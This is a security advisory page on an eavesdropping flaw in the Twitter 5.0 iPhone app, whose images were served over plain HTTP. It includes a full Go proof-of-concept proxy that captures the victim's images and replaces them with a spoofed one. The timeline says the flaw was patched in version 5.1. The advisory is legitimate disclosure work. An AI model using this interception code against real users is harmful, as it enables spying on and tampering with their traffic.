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Home  Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). Confidence 2013 5% Off any SANS course Use Code: SecuriTeam_5 Hack In Paris La Nuit du Hack Subjects of Interest: Vulnerability Management SQL Injection Buffer Overflows Active Network Scanning Fuzzing Fuzzer Report Network Security Network Scanner Pen Testing Security Scanner	Twitter App 5.0 Eavesdropping Vulnerability 11 Dec. 2012    Summary The Twitter 5.0 app for the iPhone is vulnerable to eavesdropping via [Man In The Middle][1], this vulnerability can lead an attacker on the same local area network (LAN) to capture and/or modify pictures the victim is seeing on the Twitter app.   Credit: The information has been provided by Carlos Reventlov. Free Website Security Scan Free Fuzzer Report Vulnerability Assessment Detect web app vulnerabilities University study comparing the top Accurate and automated scanning Get guidance from professionals. 6 commercially availble fuzzers. for networks of any size.    Details Protect your website! Free Trial, Nothing to install. No interruption of visitors. www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * Twitter App 5.0 The Twitter app communicates with the Twitter API via HTTPs connections,however, picture images server by *.twimg.com are received through simple HTTP. Proof of concept Read http://reventlov.com/advisories/twitter-app-vulnerable-to-partial-mitm to see the PoC's screen captures. This custom [hyperfox][2] server will listen on `:9999`. This PoC captures pictures the user is seeing and sends a bogus picture (`spoof.jpg`) instead of the original. Read the [hyperfox][2] docs to know how to launch this PoC. Only images on the *.twimg.com domain are targeted. ```go /* Twitter App, eavesdroping PoC Written by Carlos Reventlov License MIT */ package main import ( "fmt" "github.com/xiam/hyperfox/proxy" "github.com/xiam/hyperfox/tools/logger" "io" "log" "os" "path" "strconv" "strings" ) const imageFile = "spoof.jpg" func init() { _, err := os.Stat(imageFile) if err != nil { panic(err.Error()) } } func replaceAvatar(pr *proxy.ProxyRequest) error { stat, _ := os.Stat(imageFile) image, _ := os.Open(imageFile) host := pr.Response.Request.Host if strings.HasSuffix(host, "twimg.com") == true { if pr.Response.ContentLength != 0 { file := "saved" + proxy.PS + pr.FileName var ext string contentType := pr.Response.Header.Get("Content-Type") switch contentType { case "image/jpeg": ext = ".jpg" case "image/gif": ext = ".gif" case "image/png": ext = ".png" case "image/tiff": ext = ".tiff" } if ext != "" { fmt.Printf("** Saving image.\n") os.MkdirAll(path.Dir(file), os.ModeDir|os.FileMode(0755)) fp, _ := os.Create(file) if fp == nil { fmt.Errorf(fmt.Sprintf("Could not open file %s for writing.", file)) } io.Copy(fp, pr.Response.Body) fp.Close() pr.Response.Body.Close() } } fmt.Printf("** Sending bogus image.\n") pr.Response.ContentLength = stat.Size() pr.Response.Header.Set("Content-Type", "image/jpeg") pr.Response.Header.Set("Content-Length", strconv.Itoa(int(pr.Response.ContentLength))) pr.Response.Body = image } return nil } func main() { p := proxy.New() p.AddDirector(logger.Client(os.Stdout)) p.AddInterceptor(replaceAvatar) p.AddLogger(logger.Server(os.Stdout)) var err error err = p.Start() if err != nil { log.Printf(fmt.Sprintf("Failed to bind: %s.\n", err.Error())) } } ``` Disclosure Timeline: * Nov 10, 2012 Vulnerability discovered. * Nov 10, 2012 Vendor contacted. * Nov 15, 2012 Vendor response: "planned to be fixed on next release". * Nov 15, 2012 New release 5.1, bug is patched. * Nov 16, 2012 Full disclosure.  Comments: blog comments powered by Disqus	All Sections Security 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